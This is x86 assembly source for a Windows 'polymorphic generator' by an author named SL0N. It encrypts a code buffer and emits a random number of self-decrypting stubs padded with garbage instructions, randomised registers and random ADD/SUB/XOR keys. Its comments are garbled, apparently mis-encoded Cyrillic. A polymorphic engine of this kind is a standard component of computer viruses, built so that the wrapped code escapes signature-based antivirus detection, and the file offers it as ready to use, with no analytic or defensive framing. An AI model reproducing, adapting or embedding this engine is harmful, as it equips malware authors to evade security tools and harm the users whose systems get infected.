;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; [POLYMORPHIC GENERATOR OF SHIT V. 0.4] ; ; ; ; ######### ######## ######## ; ; ########### ########## ########## ; ; ##### ###### ###### ## ###### ## ; ; ##### ##### ##### ##### ; ; ##### ##### ##### ######## ; ; ########### ##### ###### ######## ; ; ######### ##### ###### ##### ; ; ##### ##### ### ##### ; ; ##### ########### ########### ; ; ##### ##### ### ######### ; ; ; ; FOR MS WINDOWS ; ; ; ; BY SL0N ; ;------------------------------------------------------------------------------; ; MANUAL: ; ; BUFFER FOR ENCRYPTED CODE + DECRYPTORS -> EDI ; ; START OF CODE -> EAX ; ; SIZE OF CODE -> ECX ; ; ; ; CALL MORPH ; ; ; ; SIZE OF ENCRYPTED CODE + DECRYPTORS -> ECX ; ; BUFFER WITH ENCRYPTED CODE + DECRYPTORS -> EDI ; ;------------------------------------------------------------------------------; ; (+) DO NOT USE WIN API ; ; (+) EASY TO USE ; ; (+) GENERATE GARBAGE INSTRUCTIONS (1,2,3,4,5,6 BYTES) ; ; (+) USE DELTA OFFSET ; ; (+) USE X87 INSTRUCTIONS ; ; (+) IT CREATES VARIABLE DECRYPTOR SIZE ; ; (+) RANDOMLY CHANGE REGISTERS IN INSTRUCTIONS ; ; (+) RANDOM 32 BIT ENCRYPTION ALGORITHM (ADD/SUB/XOR) ; ; (+) RANDOM NUMBER OF DECRYPTORS ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; morph: push esi ebp ; ��������� �������� call delta0 ; delta0: ; ��������� pop ebp ; ������ �������� sub ebp,offset delta0 ; push eax ; ����� � ���� eax decr_number: mov eax,40 ; ���������� ��������� ����� call brandom32 ; � ��������� 0..30 test eax,eax ; ���� ����� ����� 0, �� ��� jz decr_number ; ��� �� �������� mov ebx,eax ; �������� ����� � ebx pop eax ; ��������������� eax multi_decr: mov edx,edi call polym ; mov eax,edx ; add edi,ecx ; ���������� ������� dec ebx ; �����������, ������� test ebx,ebx ; �������� � �������� ebx jnz multi_decr ; sub edi,ecx ; ������������ pop ebp esi ; ��������������� �������� ret ; ������� �� ������������ ;------------------------------------------------------------------------------; polym: push ebp edi esi ebx ; ��������� �������� mov [ebp+sz_code],ecx ; ������� ��������� ������ mov [ebp+begin_code],eax ; �� ��������� � ���������� mov [ebp+buff],edx ; mov edi,edx ; ;------------------------------------------------------------------------------; call len_gen ; �������� ��������� ���� mov [ebp+sz_decr],40 add [ebp+sz_decr],ecx ; ��������� ����� ������ � ; ������� ���������� call reg_mutate ; �������� ��������, ������� ; ����� �������������� � ; ���������� mov ecx,[ebp+len+0] ; � ���������� ������ ������ call garbage ; �������� ���������� mov al,0e8h ; ���������� ��������� stosb ; ����������: call $+5 xor eax,eax ; stosd ; mov ecx,[ebp+len+4] ; ���������� ����� ������ call garbage ; �������� ���������� mov al,58h ; ���������� ��������� add al,bh ; ���������� ����������: stosb ; pop reg1 mov ecx,[ebp+len+8] ; ���������� �������� call garbage ; ���������� ; ���������� ��������� mov al,81h ; ���������� ����������: stosb ; add reg1,sz_decr-len[0] mov al,0c0h ; add al,bh ; ����� ������� reg1 ����� stosb ; ��������� �� ������ ; ��������������� ���� mov eax,[ebp+sz_decr] ; sub eax,[ebp+len] ; sub eax,9 ; stosd ; mov ecx,[ebp+len+12] ; ���������� �������� call garbage ; ���������� mov al,8bh ; ���������� ����������: stosb ; mov reg2,reg1 ; mov al,bl ; � ��� reg2 ����� ����� shl al,3 ; �������������� ��� add al,0c0h ; ��������� add al,bh ; stosb mov ecx,[ebp+len+16] ; ���������� �������� call garbage ; ���������� mov al,81h ; stosb ; mov al,0c0h ; add al,bl ; stosb ; ; ���������� ����������: mov eax,[ebp+sz_code] ; add reg2,size_code inc eax stosd ; mov ecx,[ebp+len+20] ; ���������� �������� call garbage ; ���������� mov al,81h ; stosb ; ���������� ��������� mov al,0c0h ; ����������: add reg1,4 add al,bh ; stosb ; ; mov eax,4 ; stosd ; mov ecx,[ebp+len+24] ; ���������� ��������� call garbage ; ������ ������ call random32 ; mov [ebp+key2],eax ; ��������� ���� ����������� lea eax,[ebp+next] ; ����� � ���� �������� push eax ; �� ����� next ; �������� ���� �� ��� ; ��������� ����������� mov eax,3 ; ��������� �������. call brandom32 ; ; ��������� ����������� � cmp al,1 ; �������������: je enc_add32 ; ; 1) XOR cmp al,2 ; 2) ADD je enc_sub32 ; 3) SUB enc_xor32: mov al,81h ; stosb ; ���������� ����������: mov al,30h ; xor [reg1],key_decrypt add al,bh ; stosb ; mov eax,[ebp+key2] stosd push edi ; lea edi,[ebp+crypt_n] ; mov al,33h ; � � ����� ������ �������� stosb ; �������� ����������� pop edi ; ret ; ������� �� ����� next enc_add32: mov al,81h ; stosb ; ���������� ����������: mov al,bh ; add [reg1],key_decrypt stosb ; mov eax,[ebp+key2] stosd push edi ; lea edi,[ebp+crypt_n] ; mov al,2bh ; � � ����� ������ �������� stosb ; �������� ����������� pop edi ; ret ; ������� �� ����� next enc_sub32: mov al,81h ; stosb ; ���������� ��������� mov al,028h ; ����������: add al,bh ; sub [reg1],key_decrypt stosb ; mov eax,[ebp+key2] stosd push edi ; lea edi,[ebp+crypt_n] ; � � ����� ������ ������ mov al,03h ; �������� ����������� stosb ; pop edi ; ret ; ������� �� ����� next ;------------------------------------------------------------------------------; next: mov ecx,[ebp+len+28] ; ���������� ��������� call garbage ; ������ ������ mov al,3bh ; stosb ; ; xor eax,eax ; mov al,bh ; ���������� ����������: shl al,3 ; cmp reg1,reg2 add al,0c0h ; add al,bl ; stosb ; ;------------------------------------------------------------------------------; mov ax,820fh ; stosw ; xor eax,eax ; dec eax ; ���������� ����������: mov ecx,7*4 ; jb decrypt sub eax,[ebp+len+ecx] ; mov ecx,6*4 ; sub eax,[ebp+len+ecx] ; sub eax,19 ; stosd ; mov ecx,[ebp+len+32] ; ���������� �������� call garbage ; ���������� ;------------------------------------------------------------------------------; mov ecx,[ebp+sz_code] ; mov esi,[ebp+begin_code] ; add ecx,esi ; encrypt: ; lodsd ; �������� ���� ��� ������ crypt_n: ; � ������ ���������� xor eax,[ebp+key2] ; stosd ; cmp esi,ecx ; jl encrypt ; mov edx,[ebp+buff] ; ��������� �������� mov ecx,[ebp+sz_code] ; ������������ add ecx,[ebp+sz_decr] ; pop ebx esi edi ebp ; �������������� �������� ret ; � ������� �� ��������� ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; GARBAGE LENGTH GENERATOR SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROTINE ; ;------------------------------------------------------------------------------; ; [ OUT ] ; ; ; ; LENGTH OF ALL GARBAGE -> ECX ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; len_gen: ; ������������ ��������� ; ���� ��� �������� ; ���������� xor ecx,ecx ; �������� esi � ecx xor esi,esi ; loop1: ; mov eax,100 ; call brandom32 ; �������� ��������� ; ����, ������ ����� mov [ebp+len+esi],eax ; ��������� 0..100 add ecx,eax ; add esi,4 ; cmp esi,36 ; jne loop1 ; ret ; ������� �� ������������ ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; ; REGISTER MUTATOR SUBROUTINE ; ;------------------------------------------------------------------------------; ; [ IN ] ; ; ; ; NO INPUT IN SUBROTINE ; ;------------------------------------------------------------------------------; ; [ OUT ] ; ; ; ; USES REGISTER N1 -> BH (0..7) ; ; USES REGISTER N2 -> BL (0..7) ; ;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx; reg_mutate: ; ������������ ��������� generate1: ; ��������� ��� ���������� mov eax,8 ; �������� ��������� ����� call brandom32 ; � ��������� 0..7 cmp al,00000100b ; ���������� ��� �������� je generate1 ; ����� esp cmp al,00000101b ; ���������� ��� �������� je generate1 ; ����� ebp mov bh,al ; ��������� ���������� ; ������� generate2: mov eax,8 ; �������� ��������� ����� call brandom32 ; � ��������� 0..7 cmp al,bh ; �� ������ ���� ���� je generate2 ; ���������� ��������� cmp al,00000100b ; ���������� ��� �������� je generate2 ; ����� esp mov bl,al ; ��������� ���������� ; ������� ret ; ������� �� ������������ ;------------------------------------------------------------------------------; sz_decr dd 0 ; begin_code dd 0 ; ������ ����������� ��� st_code dd 0 ; ���������� ������ sz_code dd 0 ; ���������� buff dd 0 ; key2 dd 0 ; ;------------------------------------------------------------------------------; len dd 0,0,0,0,0,0,0,0,0 ; ����� ��� �������� ���� ;------------------------------------------------------------------------------;